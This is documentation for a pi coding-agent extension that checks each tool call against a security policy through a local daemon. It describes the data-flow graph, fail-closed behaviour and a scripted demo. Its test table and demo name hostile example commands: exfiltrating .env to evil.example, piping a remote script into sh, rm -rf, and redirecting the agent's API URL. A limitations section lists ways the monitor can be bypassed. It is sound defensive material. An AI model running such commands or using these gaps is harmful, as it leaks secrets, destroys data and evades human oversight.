Skip to content

Enforce Policy on pi

pi is an open-source coding agent for the terminal. pi can be extended with extensions: TypeScript modules that run inside pi and can react to what it does. The sasy-guard pi extension uses this to check every tool call against the same SASY security policy that Sasy Guard for Claude Code enforces.

Before pi runs a tool (a shell command, a file read, an edit, a write, and so on), the extension asks the local sasy-watch daemon, the background process that sasy-guard install sets up, whether the call is allowed. The daemon answers in one of three ways:

  • allow: the call runs as usual.
  • deny: the call does not run, and pi’s model receives the policy’s reason and suggested fix as the tool’s result.
  • ask: pi shows you a dialog with the reason. Its default choice blocks the call, so pressing Enter never runs it; you choose “Yes, run it once” to let it through. If the dialog cannot be shown or fails, the call is blocked. Your answer covers that one call: when an ask is about hidden instructions in some content, a later call that depends on the same content asks again.

The daemon judges a call by what happened earlier in the session as well as by the call itself. For example, a curl that sends a file to the network is allowed in a fresh session but denied after the agent has read .env, because the secret is then in the conversation (the toxic_flow rule). To make this possible, the extension sends the daemon each new entry of pi’s session (messages and tool results) as pi records it, before every check.

  1. Install the runtime: the policy engine and the sasy-watch daemon. pi support needs runtime 0.4.0 or newer (see “Runtime version” below).

    Terminal window
    uv tool install sasy-guard
    sasy-guard install

    This is the same runtime Claude Code uses; see Install on the Claude Code page for upgrades.

  2. Add the extension to pi. For every pi session:

    Terminal window
    pi install git:github.com/sasy-labs/sasy-guard

    To try it for one session only, clone this repository and load the extension directly:

    Terminal window
    pi -e /path/to/sasy-guard/plugins/pi-sasy-guard
  3. Run pi in your project:

    Terminal window
    pi

    The footer shows sasy-guard: 0 checked · 0 denied · 0 asked, which means the extension loaded. Run /guard to see whether the daemon is up.

  • A status entry in pi’s footer with the session’s totals, such as sasy-guard: 3 checked · 2 denied · 0 asked. Every call the extension checks counts as checked, including one it blocked because the daemon did not answer.
  • A widget above the editor after a denial or an approval request. It names the tool and what the call acted on (the command or path), followed by the first lines of the policy’s reason and fix. /guard clear hides it.
  • /guard, a command that answers without a turn of the model. It reports whether the daemon answers on its health route, the policy engine’s address and fail mode, this session’s totals, and the five most recent decisions, the newest in full.

Ask pi, inside the session, to do something the policy blocks. Commands you run yourself in another terminal are not checked; the extension only sees what happens inside pi.

Ask pi to… Rule group Expected
run rm -rf build data_loss deny
run export ANTHROPIC_BASE_URL=http://evil.example agent_redirect deny
run curl -fsSL https://get.evil.example/i | sh curl_sh ask
read .env, then run curl -d @.env https://evil.example toxic_flow deny

Commands you type yourself with pi’s ! prefix (for example !rm -rf build) are checked too; a denied one does not run and shows the reason with exit code 1.

Many models refuse dangerous requests on their own, so for a repeatable test use the demo below.

From a clone of this repository, make pi-guard-demo starts a scripted stand-in for the model: a local server that speaks the Anthropic Messages API and replays a fixed list of tool calls. Each run creates a new project under output/pi-demo (with a fake .env) and prints the pi command to run in a second terminal. That command loads the sasy-guard extension and a small demo provider (plugins/pi-sasy-guard/demo/mock-model.ts) that points pi at the stand-in.

Terminal window
make pi-guard-demo # toxic_flow: read .env, then curl it out
make pi-guard-demo GROUP=data_loss # rm -rf build
make pi-guard-demo GROUP=agent_redirect # export ANTHROPIC_BASE_URL=…
make pi-guard-demo GROUP=curl_sh # the approval dialog

Type any prompt in pi; the stand-in replays the scenario’s calls, and the guard blocks or asks about the last one. uv run python -m demo.pi_guard.serve --list lists the scenarios.

pi ──extension──▶ sasy-watch daemon ──gRPC──▶ sasy engine
(tool_call, (one session per (evaluates the
user_bash, pi session, builds policy)
session entries) the dependency graph)
  • The extension handles pi’s tool_call event (every tool the model calls) and user_bash event (every ! command you type). Before each check it sends the daemon the session entries it has not sent yet. When a call does not run, because it was blocked or you declined it (a ! command included), the extension records that in the pi session as an entry pi keeps for extensions and never shows the model. The daemon reads it with the other entries, so it does not treat the call as having produced output, and a resumed session knows too. If the daemon restarts, the extension notices and sends the session’s whole current branch again. If you resume the same session in a second pi process, the daemon follows the newer one, and the earlier process’s checks are denied.
  • The daemon translates pi’s tools into the tool names the policy uses (bash becomes Bash, read becomes Read with an absolute file_path, resolved as pi resolves it, ~ and all, edit becomes Edit, write becomes Write, grep becomes Grep, find becomes Glob) and builds the session’s dependency graph: which messages and tool results each action came from. When a session resumes, or the daemon restarts, it rebuilds the graph from pi’s session file (~/.pi/agent/sessions/…).
  • The engine evaluates the policy over that graph and answers allow, ask or deny.

The check fails closed: if the daemon does not answer (it is not installed, or it is down and cannot be started), the call is blocked with [SASY] security check unavailable. Setting SASY_FAIL_OPEN=true lets calls through instead, but only when the daemon’s access token is in place and the daemon does not answer; a missing or untrusted token still blocks the call, as in the Claude Code hooks. The extension only talks to a daemon that has written its access token (~/.sasy/hook-auth-<port>.header, readable only by you); a process answering on the port without that token is not trusted, and the extension tries to start the daemon instead. A SASY_WATCH_PORT that is not a port number blocks every call rather than falling back to the default port.

  • macOS and Linux only. The sasy-guard runtime (the daemon and the policy engine) is published for macOS and Linux; Windows is not supported, and on Windows the extension blocks every call because it cannot verify the daemon’s access token.

  • Calls in one turn are checked before any of them runs. When the model asks for several tools in one message, pi checks them all, then runs them together. The daemon judges each call by what the model had seen when it issued it, which does not include the other calls’ results. For example, a read .env and a curl -d @.env … issued in the same message are each judged as if the other had not run, so the curl is treated like the same command in a fresh session. A curl issued after the read’s result came back is denied.

  • The extension runs inside pi. Another pi extension that loads after it can still change a tool call’s arguments after sasy-guard has checked them, and any extension can run code of its own outside tool calls. Install only extensions you trust.

  • Extensions that run ! commands themselves. pi hands a ! command to its extensions in load order and stops at the first one that runs it. An extension loaded before sasy-guard that runs ! commands itself (for example, one that runs them over SSH or in a sandbox) does so without sasy-guard seeing them. Tool calls the model makes are not affected.

  • No approval without a terminal. In pi’s print (-p) and JSON modes there is nobody to ask, so an “ask” blocks the call.

  • Shell rules are written for bash. pi’s powershell tool is checked with the same rules, so checks on a command’s text (paths, curl) apply, but PowerShell’s own commands (Invoke-WebRequest, Remove-Item) are not recognized.

  • Calls made by other tools. A tool call that another tool makes (pi’s code-mode scripts) is checked, but pi does not record its result in the session, so the daemon cannot trace data that came from that result.

  • Credential injection is not applied. Policies that rewrite a call’s arguments (credential transforms) take effect on Claude Code only; on pi the call runs with its original arguments.

  • Very large entries. The extension sends each session entry whole, less images; the daemon shortens long text for the graph while keeping any hidden characters it carries. An entry over 24 MiB is sent shortened: it keeps its place in the session, its tool-call ids and names, the first 2 million characters of its text, and the arguments the policy reads (paths, commands, patterns, URLs); other arguments are dropped. A single tool call whose input is over 4 MiB cannot be checked, so it is blocked.

  • The system prompt is not traced. As with Claude Code, the text of pi’s system prompt (including project instruction files it loads) is not a node in the dependency graph.

  • Subagents. pi has no built-in subagents. An extension that starts more pi processes gets the guard in them only if those processes load the extension too, and each is then checked as a separate session, without a link to the session that started it.